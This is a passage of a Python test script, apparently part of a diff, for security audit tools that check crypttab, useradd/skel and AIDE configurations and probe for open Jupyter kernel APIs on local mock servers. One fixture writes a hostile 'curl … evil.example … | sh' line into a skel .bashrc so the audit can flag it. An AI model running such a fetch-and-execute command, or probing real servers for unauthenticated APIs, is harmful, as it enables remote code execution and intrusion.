open(ct_good_key, "w") as f: + f.write("0123456789abcdef\n") +os.chmod(ct_good_key, 0o600) +with open(os.path.join(ct_good_root, "etc", "crypttab"), "w") as f: + f.write("data /dev/sdb1 " + ct_good_key + " luks\n") + +ua_root = tempfile.mkdtemp(prefix="apex-ua-") +os.makedirs(os.path.join(ua_root, "etc", "default")) +os.makedirs(os.path.join(ua_root, "etc", "skel")) +ua_def = os.path.join(ua_root, "etc", "default", "useradd") +with open(ua_def, "w") as f: + f.write("INACTIVE=\n") + f.write("SHELL=/bin/nosh\n") + f.write("CREATE_MAIL_SPOOL=yes\n") +os.chmod(ua_def, 0o644) +ua_prof = os.path.join(ua_root, "etc", "skel", ".bashrc") +with open(ua_prof, "w") as f: + f.write('curl -s http://evil.example/x | sh\n') +os.chmod(ua_prof, 0o666) + +ua_good_root = tempfile.mkdtemp(prefix="apex-uag-") +os.makedirs(os.path.join(ua_good_root, "etc", "default")) +os.makedirs(os.path.join(ua_good_root, "etc", "skel")) +with open(os.path.join(ua_good_root, "etc", "default", "useradd"), "w") as f: + f.write("INACTIVE=14\n") + f.write("SHELL=/bin/bash\n") +with open(os.path.join(ua_good_root, "etc", "skel", ".bashrc"), "w") as f: + f.write("alias ll='ls -l'\n") + +ad_root = tempfile.mkdtemp(prefix="apex-ad-") +os.makedirs(os.path.join(ad_root, "etc", "aide")) +ad_conf = os.path.join(ad_root, "etc", "aide", "aide.conf") +with open(ad_conf, "w") as f: + f.write("database=file:/tmp/aide.db\n") + f.write("database_out=file:/tmp/aide.db.new\n") + f.write("/etc R,md5\n") + f.write("/bin R,sha256\n") + f.write("!/usr/share\n") + f.write("!/usr/bin\n") + f.write("!/boot\n") +os.chmod(ad_conf, 0o666) + +ad_good_root = tempfile.mkdtemp(prefix="apex-adg-") +os.makedirs(os.path.join(ad_good_root, "etc", "aide")) +with open(os.path.join(ad_good_root, "etc", "aide", "aide.conf"), "w") as f: + f.write("database=file:/var/lib/aide/aide.db\n") + f.write("/etc R,sha512\n") + f.write("/bin R,sha512\n") + f.write("!/usr/share/doc\n") + + +class _JupyterHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path = urllib.parse.urlsplit(self.path).path + docs = { + "/api/status": b'{"started":"2026-01-01T00:00:00Z"}', + "/api/sessions": (b'[{"id":"s1","path":"work.ipynb",' + b'"kernel":{"id":"k1","name":"python3"}}]'), + "/api/kernels": b'[{"id":"k1","name":"python3"}]', + } + body = docs.get(path, b'{"message":"Not found"}') + code = 200 if path in docs else 404 + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +class _JupyterClosedHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path = urllib.parse.urlsplit(self.path).path + if path == "/api/status": + body = b'{"started":"2026-01-01T00:00:00Z"}' + self.send_response(200) + else: + body = b'{"message":"Forbidden"}' + self.send_response(403) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +jp_srv = http.server.HTTPServer(("127.0.0.1", 0), _JupyterHandler) +jp_port = jp_srv.server_address[1] +threading.Thread(target=jp_srv.serve_forever, daemon=True).start() +jp_closed_srv = http.server.HTTPServer(("127.0.0.1", 0), + _JupyterClosedHandler) +jp_closed_port = jp_closed_srv.server_address[1] +threading.Thread(target=jp_closed_srv.serve_forever, daemon=True).start() + +cfg50_home = tempfile.mkdtemp(prefix="apex-cfg50-home-") +write_scope(cfg50_home, + {"label": "cfg50", "expires": "2099-12-31T23:59:59Z", + "allow_private": True, "allow_ip": ["127.0.0.1"], + "allow_port": [str(jp_port), str(jp_closed_port)]}) + +res, _ = run([ + call(1, "crypttab_audit", root=ct_root), + call(2, "crypttab_audit", root=ct_good_root), + call(3, "useradd_audit", root=ua_root), + call(4, "useradd_audit", root=ua_good_root), + call(5, "aide_audit", root=ad_root), + call(6, "aide_audit", root=ad_good_root), + call(7, "jupyter_probe", target="127.0.0.1", port=jp_port, tls=False), + call(8, "jupyter_probe", target="127.0.0.1", port=jp_closed_port, + tls=False), +], home=cfg50_home) +by_id = {r.get("id"): r for r in res} + +ct = json.loads(text(by_id[1])) +ct_kinds = {f["id"] for f in ct["findings"]} +check("crypttab_audit flags a writable table, a 'none' key, a readable key " + "and discard", + {"world-writable", "key-none", "key-world-readable", "discard"} + <= ct_kinds and ct["entries"] == 2 and ct["key_none"] == 1 and + ct["weak_key_files"] == 1 and ct["discard"] == 1, ct) +ct_good = json.loads(text(by_id[2])) +check("crypttab_audit accepts a 0600 key file without discard", + {f["id"] for f in ct_good["findings"]} == {"no-findings"} and + ct_good["weak_key_files"] == 0 and ct_good["discard"] == 0, ct_good) + +ua = json.loads(text(by_id[3])) +ua_kinds = {f["id"] for f in ua["findings"]} +check("useradd_audit flags an empty INACTIVE, a missing shell and a " + "writable skel fetch", + {"password-never-expires", "shell-missing", "skel-world-writable", + "skel-remote-pipe"} <= ua_kinds and ua["inactive_bad"] is True and + ua["shell_bad"] is True and ua["skel_writable"] == 1 and + ua["skel_fetches"] == 1, ua) +ua_good = json.loads(text(by_id[4])) +check("useradd_audit accepts an expiry and a clean skel", + {f["id"] for f in ua_good["findings"]} == {"no-findings"} and + ua_good["inactive_bad"] is False and ua_good["shell_bad"] is False, + ua_good) + +ad = json.loads(text(by_id[5])) +ad_kinds = {f["id"] for f in ad["findings"]} +check("aide_audit flags a writable config, a tmp database, excluded trees " + "and md5-only rules", + {"world-writable", "database-in-tmp", "critical-excluded", + "weak-hash"} <= ad_kinds and ad["excludes"] == 2 and + ad["weak_hash"] == 1 and ad["tmp_database"] == 2, ad) +ad_good = json.loads(text(by_id[6])) +check("aide_audit accepts sha512 rules outside /tmp", + ad_good["excludes"] == 0 and ad_good["weak_hash"] == 0 and + ad_good["tmp_database"] == 0, ad_good) + +jp = json.loads(text(by_id[7])) +check("jupyter_probe finds an open kernel API and saves the sessions", + jp["kernel_open"] is True and jp["open_count"] == 3 and + os.path.isfile(jp["evidence"]), jp) +jp_closed = json.loads(text(by_id[8])) +check("jupyter_probe reports a token-protected server as not open", + jp_closed["kernel_open"] is False and jp_closed["open_count"] == 1, + jp_closed) + +jp_srv.shutdown() +jp_closed_srv.shutdown() + +for d in (ct_root, ct_good_root, ua_root, ua_good_root, ad_root, + ad_good_root, cfg50_home): + shutil.rmtree(d, ignore_errors=True) + print("\n== esp32 tools ==") - - - - - - - - - - - - - - - - - - - - - - - - - - - - esp_home = tempfile.mkdtemp(prefix="apex-esp-") write_scope(esp_home, {"label": "esp", "expires": "2099-12-31T23:59:59Z"}) esp_m, esp_s = pty.openpty()